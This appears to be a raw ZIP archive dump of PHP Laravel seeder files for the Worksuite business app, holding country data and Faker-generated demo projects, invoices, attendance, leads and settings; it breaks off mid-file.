=> '256'), array('id' => '223', 'iso' => 'UA', 'name' => 'UKRAINE', 'nicename' => 'Ukraine', 'iso3' => 'UKR', 'numcode' => '804', 'phonecode' => '380'), array('id' => '224', 'iso' => 'AE', 'name' => 'UNITED ARAB EMIRATES', 'nicename' => 'United Arab Emirates', 'iso3' => 'ARE', 'numcode' => '784', 'phonecode' => '971'), array('id' => '225', 'iso' => 'GB', 'name' => 'UNITED KINGDOM', 'nicename' => 'United Kingdom', 'iso3' => 'GBR', 'numcode' => '826', 'phonecode' => '44'), array('id' => '226', 'iso' => 'US', 'name' => 'UNITED STATES', 'nicename' => 'United States', 'iso3' => 'USA', 'numcode' => '840', 'phonecode' => '1'), array('id' => '227', 'iso' => 'UM', 'name' => 'UNITED STATES MINOR OUTLYING ISLANDS', 'nicename' => 'United States Minor Outlying Islands', 'iso3' => null, 'numcode' => null, 'phonecode' => '1'), array('id' => '228', 'iso' => 'UY', 'name' => 'URUGUAY', 'nicename' => 'Uruguay', 'iso3' => 'URY', 'numcode' => '858', 'phonecode' => '598'), array('id' => '229', 'iso' => 'UZ', 'name' => 'UZBEKISTAN', 'nicename' => 'Uzbekistan', 'iso3' => 'UZB', 'numcode' => '860', 'phonecode' => '998'), array('id' => '230', 'iso' => 'VU', 'name' => 'VANUATU', 'nicename' => 'Vanuatu', 'iso3' => 'VUT', 'numcode' => '548', 'phonecode' => '678'), array('id' => '231', 'iso' => 'VE', 'name' => 'VENEZUELA', 'nicename' => 'Venezuela', 'iso3' => 'VEN', 'numcode' => '862', 'phonecode' => '58'), array('id' => '232', 'iso' => 'VN', 'name' => 'VIET NAM', 'nicename' => 'Viet Nam', 'iso3' => 'VNM', 'numcode' => '704', 'phonecode' => '84'), array('id' => '233', 'iso' => 'VG', 'name' => 'VIRGIN ISLANDS, BRITISH', 'nicename' => 'Virgin Islands, British', 'iso3' => 'VGB', 'numcode' => '92', 'phonecode' => '1284'), array('id' => '234', 'iso' => 'VI', 'name' => 'VIRGIN ISLANDS, U.S.', 'nicename' => 'Virgin Islands, U.s.', 'iso3' => 'VIR', 'numcode' => '850', 'phonecode' => '1340'), array('id' => '235', 'iso' => 'WF', 'name' => 'WALLIS AND FUTUNA', 'nicename' => 'Wallis and Futuna', 'iso3' => 'WLF', 'numcode' => '876', 'phonecode' => '681'), array('id' => '236', 'iso' => 'EH', 'name' => 'WESTERN SAHARA', 'nicename' => 'Western Sahara', 'iso3' => 'ESH', 'numcode' => '732', 'phonecode' => '212'), array('id' => '237', 'iso' => 'YE', 'name' => 'YEMEN', 'nicename' => 'Yemen', 'iso3' => 'YEM', 'numcode' => '887', 'phonecode' => '967'), array('id' => '238', 'iso' => 'ZM', 'name' => 'ZAMBIA', 'nicename' => 'Zambia', 'iso3' => 'ZMB', 'numcode' => '894', 'phonecode' => '260'), array('id' => '239', 'iso' => 'ZW', 'name' => 'ZIMBABWE', 'nicename' => 'Zimbabwe', 'iso3' => 'ZWE', 'numcode' => '716', 'phonecode' => '263'), array('id' => '240', 'iso' => 'RS', 'name' => 'SERBIA', 'nicename' => 'Serbia', 'iso3' => 'SRB', 'numcode' => '688', 'phonecode' => '381'), array('id' => '241', 'iso' => 'AP', 'name' => 'ASIA PACIFIC REGION', 'nicename' => 'Asia / Pacific Region', 'iso3' => '0', 'numcode' => '0', 'phonecode' => '0'), array('id' => '242', 'iso' => 'ME', 'name' => 'MONTENEGRO', 'nicename' => 'Montenegro', 'iso3' => 'MNE', 'numcode' => '499', 'phonecode' => '382'), array('id' => '243', 'iso' => 'AX', 'name' => 'ALAND ISLANDS', 'nicename' => 'Aland Islands', 'iso3' => 'ALA', 'numcode' => '248', 'phonecode' => '358'), array('id' => '244', 'iso' => 'BQ', 'name' => 'BONAIRE, SINT EUSTATIUS AND SABA', 'nicename' => 'Bonaire, Sint Eustatius and Saba', 'iso3' => 'BES', 'numcode' => '535', 'phonecode' => '599'), array('id' => '245', 'iso' => 'CW', 'name' => 'CURACAO', 'nicename' => 'Curacao', 'iso3' => 'CUW', 'numcode' => '531', 'phonecode' => '599'), array('id' => '246', 'iso' => 'GG', 'name' => 'GUERNSEY', 'nicename' => 'Guernsey', 'iso3' => 'GGY', 'numcode' => '831', 'phonecode' => '44'), array('id' => '247', 'iso' => 'IM', 'name' => 'ISLE OF MAN', 'nicename' => 'Isle of Man', 'iso3' => 'IMN', 'numcode' => '833', 'phonecode' => '44'), array('id' => '248', 'iso' => 'JE', 'name' => 'JERSEY', 'nicename' => 'Jersey', 'iso3' => 'JEY', 'numcode' => '832', 'phonecode' => '44'), array('id' => '249', 'iso' => 'XK', 'name' => 'KOSOVO', 'nicename' => 'Kosovo', 'iso3' => '---', 'numcode' => '0', 'phonecode' => '381'), array('id' => '250', 'iso' => 'BL', 'name' => 'SAINT BARTHELEMY', 'nicename' => 'Saint Barthelemy', 'iso3' => 'BLM', 'numcode' => '652', 'phonecode' => '590'), array('id' => '251', 'iso' => 'MF', 'name' => 'SAINT MARTIN', 'nicename' => 'Saint Martin', 'iso3' => 'MAF', 'numcode' => '663', 'phonecode' => '590'), array('id' => '252', 'iso' => 'SX', 'name' => 'SINT MAARTEN', 'nicename' => 'Sint Maarten', 'iso3' => 'SXM', 'numcode' => '534', 'phonecode' => '1'), array('id' => '253', 'iso' => 'SS', 'name' => 'SOUTH SUDAN', 'nicename' => 'South Sudan', 'iso3' => 'SSD', 'numcode' => '728', 'phonecode' => '211') ); DB::table('countries')->insert($countries); } } PKZ͔0F F seeders/CoreDatabaseSeeder.phpnu[dashboardBackupSetting(); $this->fileStorageSetting(); $this->gdprSetting(); $this->languageSettings(); $this->socialAuth(); $this->appreciationIcon(); TranslateSetting::create(['google_key' => null]); $this->pushNotification(); } public function dashboardBackupSetting() { $backupSetting = new DatabaseBackupSetting(); $backupSetting->status = 'inactive'; $backupSetting->hour_of_day = ''; $backupSetting->backup_after_days = '0'; $backupSetting->delete_backup_after_days = '0'; $backupSetting->save(); } private function fileStorageSetting() { $storage = new StorageSetting(); $storage->filesystem = 'local'; $storage->status = 'enabled'; $storage->save(); } private function gdprSetting() { $gdpr = new GdprSetting(); $gdpr->create(); } private function languageSettings() { LanguageSetting::insert(LanguageSetting::LANGUAGES); } private function socialAuth() { SocialAuthSetting::create([ 'facebook_status' => 'disable', 'google_status' => 'disable', 'linkedin_status' => 'disable', 'twitter_status' => 'disable', ]); } private function pushNotification() { $slack = new PushNotificationSetting(); $slack->onesignal_app_id = null; $slack->onesignal_rest_api_key = null; $slack->notification_logo = null; $slack->save(); $pusherSetting = new PusherSetting(); $pusherSetting->save(); } private function appreciationIcon() { $icons = [ ['title' => 'Trophy', 'icon' => 'trophy'], ['title' => 'Thumbs Up', 'icon' => 'hand-thumbs-up'], ['title' => 'Award', 'icon' => 'award'], ['title' => 'Book', 'icon' => 'book'], ['title' => 'Gift', 'icon' => 'gift'], ['title' => 'Watch', 'icon' => 'watch'], ['title' => 'Cup', 'icon' => 'cup-hot'], ['title' => 'Puzzle', 'icon' => 'puzzle'], ['title' => 'Plane', 'icon' => 'airplane'], ['title' => 'Money', 'icon' => 'piggy-bank'], ]; foreach ($icons as $icon) { \App\Models\AwardIcon::create($icon); } } } PKZ)seeders/BankAccountSeeder.phpnu[first()->id;; DB::beginTransaction(); $bankAccounts = ['Primary Account', 'Secondary Account']; foreach ($bankAccounts as $key => $bankAccount) { $account = new BankAccount(); $account->company_id = $companyId; $account->type = 'bank'; $account->account_name = fake()->company(); $account->account_type = 'current'; $account->currency_id = $currencyId; $account->contact_number = fake()->phoneNumber(); $account->opening_balance = fake()->numberBetween(10000, 99999); $account->status = 1; $account->bank_name = $bankAccount; /** @phpstan-ignore-next-line */ $account->account_number = fake()->bankAccountNumber(); $account->save(); } DB::commit(); } } PKZsGHGHseeders/ProjectSeeder.phpnu[count((int)$count)->make()->each(function (Project $project) use ($faker, $companyId) { $project->company_id = $companyId; $project->client_id = $this->getClientId($companyId); $project->currency_id = $this->getCurrencyId($companyId); $project->category_id = $this->getCategoryId($companyId); $project->added_by = $this->getAdminId($companyId); $project->calculate_task_progress = 'false'; $project->save(); $this->milestones($project); $activity = new \App\Models\ProjectActivity(); $activity->project_id = $project->id; /* @phpstan-ignore-line */ $activity->activity = $project->project_name . ' added as new project.'; /* @phpstan-ignore-line */ $activity->save(); $search = new \App\Models\UniversalSearch(); $search->searchable_id = $project->id; $search->company_id = $companyId; /* @phpstan-ignore-line */ $search->title = $project->project_name; /* @phpstan-ignore-line */ $search->route_name = 'projects.show'; $search->save(); $randomRange = $faker->numberBetween(1, 3); // Assign random members for ($i = 1; $i <= 5; $i++) { $this->assignMembers($project->id, $companyId); /* @phpstan-ignore-line */ } // Create tasks for ($i = 1; $i <= 5; $i++) { $this->createTask($faker, $project, $companyId); } // Create invoice for ($i = 1; $i <= $randomRange; $i++) { $this->createInvoice($faker, $project, $companyId); } // Create project time log for ($i = 1; $i <= $randomRange; $i++) { $this->createTimeLog($faker, $project, $companyId); } }); DB::commit(); } private function getClientId($companyId) { return User::join('role_user', 'role_user.user_id', '=', 'users.id') ->leftJoin('client_details', 'users.id', '=', 'client_details.user_id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->select('users.id', 'users.name', 'client_details.company_name', 'users.email', 'users.created_at') ->where('roles.name', 'client') ->where('users.company_id', $companyId) ->inRandomOrder() ->first()->id; } private function getCurrencyId($companyId) { return Currency::where('company_id', $companyId)->first()->id; } private function getCategoryId($companyId) { return ProjectCategory::where('company_id', $companyId)->inRandomOrder()->first()->id; } private function getAdminId($companyId) { return User::join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->where('roles.name', 'admin') ->where('users.company_id', $companyId) ->select('users.id') ->first()->id; } private function assignMembers($projectId, $companyId) { $admin = User::join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->where('roles.name', 'admin') ->select('users.id') ->where('users.company_id', $companyId) ->first(); $employeeId = $this->getRandomEmployee($companyId); // Assign member $member = new \App\Models\ProjectMember(); $member->user_id = $employeeId->id; $member->project_id = $projectId; $member->added_by = $admin->id; $member->last_updated_by = $admin->id; $member->hourly_rate = $employeeId->hourly_rate; $member->save(); $activity = new \App\Models\ProjectActivity(); $activity->project_id = $projectId; $activity->activity = 'New member added to the project.'; $activity->save(); } private function getRandomEmployee($companyId) { return User::select('users.id as id', 'employee_details.hourly_rate') ->join('employee_details', 'users.id', '=', 'employee_details.user_id') ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->where('roles.name', 'employee') ->where('users.company_id', $companyId) ->inRandomOrder() ->first(); } private function createTask($faker, $project, $companyId) { $assignee = \App\Models\ProjectMember::inRandomOrder() ->where('project_id', $project->id) ->first(); $boards = TaskboardColumn::all()->where('company_id', $companyId)->where('slug', '!=', 'waiting_approval')->pluck('id')->toArray(); $startDate = $faker->randomElement([$faker->dateTimeThisMonth($max = 'now'), $faker->dateTimeThisYear($max = 'now')]); $task = new \App\Models\Task(); $task->company_id = $companyId; $task->heading = $faker->realText(20); $task->description = $faker->realText(200); $task->start_date = $startDate; $task->due_date = Carbon::parse($startDate)->addDays(rand(1, 10))->toDateString(); $task->project_id = $project->id; $task->priority = $faker->randomElement(['high', 'medium', 'low']); $task->status = $faker->randomElement(['incomplete', 'completed']); $task->board_column_id = $faker->randomElement($boards); $task->save(); $task->task_short_code = $project->project_short_code . '-' . $task->id; $task->saveQuietly(); TaskUser::create( [ 'user_id' => $assignee->user_id, 'task_id' => $task->id ] ); $search = new \App\Models\UniversalSearch(); $search->searchable_id = $task->id; $search->company_id = $companyId; $search->title = $task->heading; $search->route_name = 'tasks.show'; $search->save(); $activity = new \App\Models\ProjectActivity(); $activity->project_id = $project->id; $activity->activity = 'New task added to the project.'; $activity->save(); } private function createInvoice($faker, $project, $companyId) { $items = [$faker->word, $faker->word]; $cost_per_item = [$faker->numberBetween(1000, 2000), $faker->numberBetween(1000, 2000)]; $quantity = [$faker->numberBetween(1, 20), $faker->numberBetween(1, 20)]; $amount = [$cost_per_item[0] * $quantity[0], $cost_per_item[1] * $quantity[1]]; $type = ['item', 'item']; $unit = UnitType::select('id')->where('company_id', $companyId)->first(); $companyAddress = CompanyAddress::where('is_default', 1)->firstOrFail(); $bankAccountId = BankAccount::where('company_id', $companyId)->inRandomOrder()->first()->id; $invoice = new \App\Models\Invoice(); $invoice->project_id = $project->id; $invoice->company_id = $companyId; $invoice->company_address_id = $companyAddress->id; $invoice->client_id = $project->client_id; $invoice->invoice_number = \App\Models\Invoice::where('company_id', $companyId)->count() == 0 ? 1 : \App\Models\Invoice::where('company_id', $companyId)->count() + 1; $invoice->issue_date = Carbon::parse((date('m') - 1) . '/' . $faker->numberBetween(1, 30) . '/' . date('Y'))->format('Y-m-d'); $invoice->due_date = Carbon::parse($invoice->issue_date)->addDays(10)->format('Y-m-d'); $invoice->sub_total = array_sum($amount); $invoice->total = array_sum($amount); $invoice->currency_id = $this->getCurrencyId($companyId); $invoice->status = $faker->randomElement(['paid', 'unpaid']); $invoice->send_status = 1; $invoice->due_amount = array_sum($amount); $invoice->hash = md5(microtime()); $invoice->default_currency_id = $this->getCurrencyId($companyId); $invoice->exchange_rate = 1; $invoice->bank_account_id = $bankAccountId; $invoice->save(); $search = new \App\Models\UniversalSearch(); $search->searchable_id = $invoice->id; $search->company_id = $companyId; $search->title = 'Invoice ' . $invoice->invoice_number; $search->route_name = 'invoices.show'; $search->save(); foreach ($items as $key => $item) : \App\Models\InvoiceItems::create(['invoice_id' => $invoice->id, 'item_name' => $item, 'type' => $type[$key], 'quantity' => $quantity[$key], 'unit_price' => $cost_per_item[$key], 'amount' => $amount[$key], 'unit_id' => $unit->id]); endforeach; if ($invoice->status == 'paid') { $payment = new \App\Models\Payment(); $payment->amount = $invoice->total; $payment->company_id = $companyId; $payment->invoice_id = $invoice->id; $payment->project_id = $project->id; $payment->gateway = 'Bank Transfer'; $payment->transaction_id = md5($invoice->id); $payment->currency_id = $this->getCurrencyId($companyId); $payment->status = 'complete'; $payment->paid_on = Carbon::parse(now()->month . '/' . $faker->numberBetween(1, now()->day) . '/' . now()->year . ' ' . $faker->numberBetween(1, 23) . ':' . $faker->numberBetween(1, 59) . ':' . $faker->numberBetween(1, 59))->format('Y-m-d H:i:s'); $payment->default_currency_id = $this->getCurrencyId($companyId); $payment->exchange_rate = 1; $payment->bank_account_id = $invoice->bank_account_id; $payment->save(); } } private function createTimeLog($faker, $project, $companyId) { $projectMember = $project->members->first(); // Create time logs $timeLog = new \App\Models\ProjectTimeLog(); $timeLog->project_id = $project->id; $timeLog->company_id = $companyId; $timeLog->task_id = $project->tasks->first()->id; $timeLog->user_id = $projectMember->user_id; $timeLog->start_time = $faker->randomElement([date('Y-m-d', strtotime('+' . mt_rand(0, 7) . ' days')), $faker->dateTimeThisMonth('now'), $faker->dateTimeThisYear('now')]); $timeLog->end_time = Carbon::parse($timeLog->start_time)->addHours($faker->numberBetween(1, 5))->toDateTimeString(); /** @phpstan-ignore-next-line */ $timeLog->total_hours = $timeLog->end_time->diffInHours($timeLog->start_time); if ($timeLog->total_hours == 0) { /** @phpstan-ignore-next-line */ $timeLog->total_hours = round($timeLog->end_time->diffInHours($timeLog->start_time), 2); } $timeLog->total_minutes = $timeLog->total_hours * 60; $timeLog->hourly_rate = (!is_null($projectMember->hourly_rate) ? $projectMember->hourly_rate : 0); $minuteRate = $projectMember->hourly_rate / 60; $earning = round($timeLog->total_minutes * $minuteRate); /* @phpstan-ignore-line */ $timeLog->earnings = $earning; $timeLog->memo = 'working on' . $faker->word; $timeLog->save(); } private function milestones($project) { $projectMilestones = array( array( 'milestone_title' => 'Project Initiation', 'summary' => 'Define project objectives, scope, and stakeholders. Obtain project approval and secure necessary resources.', 'project_id' => $project->id, 'company_id' => $project->company_id, 'currency_id' => $project->currency_id, 'start_date' => now()->subDays(30)->format('Y-m-d'), 'end_date' => now()->subDays(20)->format('Y-m-d'), 'status' => 'complete', 'cost' => rand(100, 5000) ), array( 'milestone_title' => 'Project Planning', 'summary' => 'Develop a detailed project plan, including tasks, timelines, and resources. Identify and analyze potential risks.', 'project_id' => $project->id, 'company_id' => $project->company_id, 'currency_id' => $project->currency_id, 'start_date' => now()->subDays(19)->format('Y-m-d'), 'end_date' => now()->subDays(10)->format('Y-m-d'), 'status' => 'complete', 'cost' => rand(100, 5000) ), array( 'milestone_title' => 'Kickoff Meeting', 'summary' => 'Officially launch the project with a meeting to communicate goals, roles, and expectations. Distribute project documentation.', 'project_id' => $project->id, 'company_id' => $project->company_id, 'currency_id' => $project->currency_id, 'start_date' => now()->subDays(9)->format('Y-m-d'), 'end_date' => now()->subDays(0)->format('Y-m-d'), 'status' => 'complete', 'cost' => rand(100, 5000) ), array( 'milestone_title' => 'Completion of Project Design', 'summary' => 'Complete the detailed design of the project deliverables. Ensure that the design aligns with project requirements.', 'project_id' => $project->id, 'company_id' => $project->company_id, 'currency_id' => $project->currency_id, 'start_date' => now()->addDays(0)->format('Y-m-d'), 'end_date' => now()->addDays(10)->format('Y-m-d'), 'status' => 'incomplete', 'cost' => rand(100, 5000) ), array( 'milestone_title' => 'Start of Execution/Implementation', 'summary' => 'Begin the execution phase according to the project plan. Monitor and manage project activities.', 'project_id' => $project->id, 'company_id' => $project->company_id, 'currency_id' => $project->currency_id, 'start_date' => now()->addDays(11)->format('Y-m-d'), 'end_date' => now()->addDays(20)->format('Y-m-d'), 'status' => 'incomplete', 'cost' => rand(100, 5000) ), array( 'milestone_title' => 'Mid-Project Review', 'summary' => 'Conduct a review to assess project progress against the plan. Adjust the plan as needed based on the review.', 'project_id' => $project->id, 'company_id' => $project->company_id, 'currency_id' => $project->currency_id, 'start_date' => now()->addDays(21)->format('Y-m-d'), 'end_date' => now()->addDays(30)->format('Y-m-d'), 'status' => 'incomplete', 'cost' => rand(100, 5000) ), array( 'milestone_title' => 'Completion of Testing Phase', 'summary' => 'Complete testing of project deliverables to ensure quality. Address and resolve any issues identified during testing.', 'project_id' => $project->id, 'company_id' => $project->company_id, 'currency_id' => $project->currency_id, 'start_date' => now()->addDays(31)->format('Y-m-d'), 'end_date' => now()->addDays(40)->format('Y-m-d'), 'status' => 'incomplete', 'cost' => rand(100, 5000) ), array( 'milestone_title' => 'Client or Stakeholder Review', 'summary' => 'Present project progress to clients or stakeholders. Gather feedback and make necessary adjustments.', 'project_id' => $project->id, 'company_id' => $project->company_id, 'currency_id' => $project->currency_id, 'start_date' => now()->addDays(41)->format('Y-m-d'), 'end_date' => now()->addDays(50)->format('Y-m-d'), 'status' => 'incomplete', 'cost' => rand(100, 5000) ), array( 'milestone_title' => 'Finalization and Delivery', 'summary' => 'Complete all remaining tasks and finalize project deliverables. Deliver the completed project to the client or end-users.', 'project_id' => $project->id, 'company_id' => $project->company_id, 'currency_id' => $project->currency_id, 'start_date' => now()->addDays(51)->format('Y-m-d'), 'end_date' => now()->addDays(55)->format('Y-m-d'), 'status' => 'incomplete', 'cost' => rand(100, 5000) ), array( 'milestone_title' => 'Project Closure', 'summary' => 'Conduct a project review to evaluate overall success and lessons learned. Document and archive project information. Celebrate project completion with the project team.', 'project_id' => $project->id, 'company_id' => $project->company_id, 'currency_id' => $project->currency_id, 'start_date' => now()->addDays(56)->format('Y-m-d'), 'end_date' => now()->addDays(60)->format('Y-m-d'), 'status' => 'incomplete', 'cost' => rand(100, 5000) ) ); ProjectMilestone::insert($projectMilestones); } } PKZ'J>seeders/EventTableSeeder.phpnu[pluck('id')->toArray(); \App\Models\Event::factory()->count((int)$count)->create()->each(function (Event $event) use ($faker, $companyId, $employees) { $event->company_id = $companyId; $event->save(); try { $randomEmployeeArray = $faker->randomElements($employees, $faker->numberBetween(1, 10)); foreach ($randomEmployeeArray as $employee) { \App\Models\EventAttendee::create([ 'user_id' => $employee, 'event_id' => $event->id, 'company_id' => $companyId ]); } } catch (Exception $e) { Log::info($e); } }); } } PKZA&seeders/LeaveSeeder.phpnu[pluck('id')->toArray(); $leaveTypes = LeaveType::where('company_id', $companyId)->get()->pluck('id')->toArray(); $employee = $employees[array_rand($employees)]; $leaveType = $leaveTypes[array_rand($leaveTypes)]; $count = config('app.seed_record_count'); \App\Models\Leave::factory()->count((int)$count)->make()->each(function (Leave $leave)use($companyId, $leaveType, $employee){ $leave->user_id = $employee; $leave->leave_type_id = $leaveType; $leave->company_id = $companyId; $leave->save(); }); } } PKZ-T T seeders/EstimateSeeder.phpnu[join('roles', 'roles.id', '=', 'role_user.role_id') ->join('client_details', 'users.id', '=', 'client_details.user_id') ->select('users.id') ->where('roles.name', 'client') ->where('users.company_id', $companyId) ->first(); $unit = UnitType::select('id')->where('company_id', $companyId)->first(); $currency = Currency::select('id')->where('company_id', $companyId)->first(); $estimate = new Estimate(); $estimate->company_id = $companyId; $estimate->estimate_number = '001'; $estimate->client_id = $client->id; $estimate->valid_till = Carbon::parse((date('m')) . '/03/2022')->format('Y-m-d'); $estimate->sub_total = 1200; $estimate->total = 1200; $estimate->currency_id = $currency->id; $estimate->note = null; $estimate->status = 'waiting'; $estimate->save(); $items = ['item 1', 'item 2']; $cost_per_item = ['500', '700']; $quantity = ['1', '1']; $amount = ['500', '700']; $type = ['item', 'item']; foreach ($items as $key => $item): if (!is_null($item)) { EstimateItem::create([ 'estimate_id' => $estimate->id, 'item_name' => $item, 'type' => $type[$key], 'quantity' => $quantity[$key], 'unit_price' => $cost_per_item[$key], 'unit_id' => $unit->id, 'amount' => $amount[$key] ]); } endforeach; $estimate = new Estimate(); $estimate->company_id = $companyId; $estimate->estimate_number = '002'; $estimate->client_id = $client->id; $estimate->valid_till = Carbon::parse((date('m')) . '/10/2022')->format('Y-m-d'); $estimate->sub_total = 4100; $estimate->total = 4100; $estimate->currency_id = $currency->id; $estimate->note = null; $estimate->status = 'waiting'; $estimate->save(); $items = ['item 3', 'item 4']; $cost_per_item = ['1200', '1700']; $quantity = ['2', '1']; $amount = ['2400', '1700']; $type = ['item', 'item']; foreach ($items as $key => $item): EstimateItem::create([ 'estimate_id' => $estimate->id, 'item_name' => $item, 'type' => $type[$key], 'quantity' => $quantity[$key], 'unit_price' => $cost_per_item[$key], 'unit_id' => $unit->id, 'amount' => $amount[$key] ]); endforeach; } } PKZ1XfrOOseeders/TicketSettingSeeder.phpnu[id; TicketSettingForAgents::create([ 'ticket_scope' => 'assigned_tickets', 'company_id' => $companyId, ]); } } } PKZJ((!seeders/DepartmentTableSeeder.phpnu[ 'Marketing', 'company_id' => $companyId], ['team_name' => 'Sales', 'company_id' => $companyId], ['team_name' => 'Human Resources', 'company_id' => $companyId], ['team_name' => 'Public Relations', 'company_id' => $companyId], ['team_name' => 'Research', 'company_id' => $companyId], ['team_name' => 'Finance', 'company_id' => $companyId], ]; $designations = [ ['name' => 'Trainee', 'company_id' => $companyId], ['name' => 'Senior', 'company_id' => $companyId], ['name' => 'Junior', 'company_id' => $companyId], ['name' => 'Team Lead', 'company_id' => $companyId], ['name' => 'Project Manager', 'company_id' => $companyId], ]; Team::insert($departments); Designation::insert($designations); $teams = Team::where('company_id', $companyId)->pluck('id')->toArray(); $designations = Designation::where('company_id', $companyId)->pluck('id')->toArray(); LeaveType::where('company_id', $companyId)->update([ 'department' => json_encode($teams), 'designation' => json_encode($designations), ]); } } PKZi((!seeders/AttendanceTableSeeder.phpnu[join('roles', 'roles.id', '=', 'role_user.role_id') ->where('roles.name', 'employee') ->where('users.company_id', $companyId) ->pluck('users.id') ->toArray(); $adminId = User::join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->where('roles.name', 'admin') ->where('users.company_id', $companyId) ->value('users.id'); $data = []; foreach ($userIds as $userId) { $date = $faker->randomElement([$faker->dateTimeThisMonth()->format('Y-m-d'), $faker->dateTimeThisYear('now')->format('Y-m-d')]); $start = $date . 'T' . $faker->randomElement(['09:00', '10:00', '11:00', '12:00', '13:00']) . '+00:00'; $clockIn = Carbon::parse($start)->addMinutes($faker->randomElement([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 10, 15, -20, 45, 120]))->format('Y-m-d H:i:s'); $clockInIp = $faker->ipv4; $data[] = [ 'user_id' => $userId, 'company_id' => $companyId, 'half_day' => 'no', 'late' => $faker->randomElement(['yes', 'no']), 'clock_in_time' => $clockIn, 'clock_out_time' => Carbon::parse($clockIn)->addHours($faker->numberBetween(1, 9))->format('Y-m-d H:i:s'), 'clock_in_ip' => $clockInIp, 'clock_out_ip' => $clockInIp, 'created_at' => $faker->dateTimeThisYear(), 'added_by' => $adminId, ]; } Attendance::insert($data); } } PKZ{^Y"seeders/ProjectAdminRoleSeeder.phpnu[name = 'project_admin'; $admin->display_name = 'Project Admin'; // optional $admin->description = 'Project admin is allowed to manage all the projects in a company.'; // optional $admin->save(); } } PKZ%JJseeders/ContractTableSeeder.phpnu[join('roles', 'roles.id', '=', 'role_user.role_id') ->where('roles.name', 'admin') ->where('users.company_id', $companyId) ->select('users.id') ->first(); $count = config('app.seed_record_count'); $faker = \Faker\Factory::create(); Contract::factory() ->count((int)$count) ->make() ->each(function (Contract $contract) use ($faker, $admin, $setting, $companyId) { $contract->company_id = $companyId; $contract->contract_type_id = $faker->randomElement($this->getContractType($companyId)); $contract->client_id = $this->getClient($companyId); $contract->added_by = $admin->id; $contract->currency_id = $setting->currency_id; $contract->contract_number = Contract::where('company_id', $companyId)->count() + 1; $contract->save(); }); } public function getContractType($companyId) { return \App\Models\ContractType::inRandomOrder() ->where('company_id', $companyId) ->pluck('id') ->toArray(); } public function getClient($companyId) { /** @phpstan-ignore-next-line */ return \App\Models\User::join('role_user', 'role_user.user_id', '=', 'users.id') ->leftJoin('client_details', 'users.id', '=', 'client_details.user_id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->where('roles.name', 'client') ->where('users.company_id', $companyId) ->inRandomOrder() ->first()->user_id; } } PKZGAk}|-|-seeders/about.php7nu[PKZSseeders/LeadSeeder.phpnu[ 'Best Case', 'company_id' => $companyId, 'is_default' => 1 ], [ 'category_name' => 'Closed', 'company_id' => $companyId, 'is_default' => 0 ], [ 'category_name' => 'Commit', 'company_id' => $companyId, 'is_default' => 0 ], ]; LeadCategory::insert($leadCategories); $leadAgents = User::select('users.id') ->join('employee_details', 'users.id', '=', 'employee_details.user_id') ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->where('roles.name', 'employee') ->where('users.company_id', $companyId) ->inRandomOrder() ->get()->pluck('id') ->toArray(); $categories = $this->getCategories($companyId); for ($i = 1; $i <= 4; $i++) { $agent = new LeadAgent(); $agent->company_id = $companyId; $agent->user_id = $faker->randomElement($leadAgents); $agent->lead_category_id = $faker->randomElement($categories); $agent->save(); } $currencyID = Currency::where('company_id', $companyId)->first()->id; $randomLeadId = LeadAgent::where('company_id', $companyId)->inRandomOrder()->first()->id; $randomPipelineId = LeadPipeline::where('company_id', $companyId)->inRandomOrder()->first()->id; $randomStageId = PipelineStage::where('company_id', $companyId)->where('lead_pipeline_id', $randomPipelineId)->inRandomOrder()->first()->id; foreach (range(0, 10) as $number) { $leadContact = new Lead(); $leadContact->company_id = $companyId; $leadContact->website = 'https://worksuite.biz'; $leadContact->address = $faker->address; $leadContact->client_name = $faker->name; $leadContact->company_name = $faker->company; $leadContact->client_email = 'fake@example.com'; $leadContact->mobile = $faker->phoneNumber; $leadContact->note = 'Quas consectetur, tempor incidunt, aliquid voluptatem, velit mollit et illum, adipisicing ea officia aliquam placeat'; $leadContact->save(); } $lead = new Deal(); $lead->lead_id = $leadContact->id; $lead->lead_pipeline_id = $randomPipelineId; $lead->pipeline_stage_id = $randomStageId; $lead->company_id = $companyId; $lead->agent_id = $randomLeadId; $lead->name = 'Buying Worksuite'; $lead->value = rand(10000, 99999); $lead->currency_id = $currencyID; $lead->next_follow_up = 'yes'; $lead->note = 'Quas consectetur, tempor incidunt, aliquid voluptatem, velit mollit et illum, adipisicing ea officia aliquam placeat'; $lead->save(); } private function getCategories($companyId) { return LeadCategory::inRandomOrder() ->where('company_id', $companyId) ->get()->pluck('id') ->toArray(); } } PKZp %%seeders/SmtpSettingsSeeder.phpnu[mail_driver = 'smtp'; $smtp->mail_host = 'smtp.gmail.com'; $smtp->mail_port = '465'; $smtp->mail_username = 'myemail@gmail.com'; $smtp->mail_from_name = 'Worksuite'; $smtp->mail_encryption = 'ssl'; $smtp->save(); } } PKZi'##seeders/ProductTableSeeder.phpnu[count((int)$count) ->make() ->each(function (Product $product) use ($companyId) { $product->company_id = $companyId; $product->save(); }); } } PKZ>->RR"seeders/ModulePermissionSeeder.phpnu[permissionTypes(); $modules = Module::MODULE_LIST; foreach ($modules as $module) { $insert = Module::updateOrCreate( ['module_name' => $module['module_name']], ['description' => $module['description'] ?? null] ); // Run for every permissions foreach ($module['permissions'] as $permission) { $permission['module_id'] = $insert->id; $permission['display_name'] = $permission['display_name'] ?? ucwords(str_replace('_', ' ', $permission['name'])); Permission::updateOrCreate( ['module_id' => $permission['module_id'], 'name' => $permission['name']], $permission ); } } } private function permissionTypes() { \DB::table('permission_types')->insert([ ['name' => 'added'], ['name' => 'owned'], ['name' => 'both'], ['name' => 'all'], ['name' => 'none'] ]); } } PKZ6@  seeders/LeadsTableSeeder.phpnu[getLeadAgent($companyId); $getPipeline = $this->getPipeline($companyId); $getLeadStage = $this->getLeadStage($companyId); $getLeadContact = $this->getContact($companyId); Deal::factory() ->count((int)$count) ->make() ->each(function (Deal $deal) use ($companyId, $faker, $leadAgents, $getPipeline, $getLeadStage, $getLeadContact) { 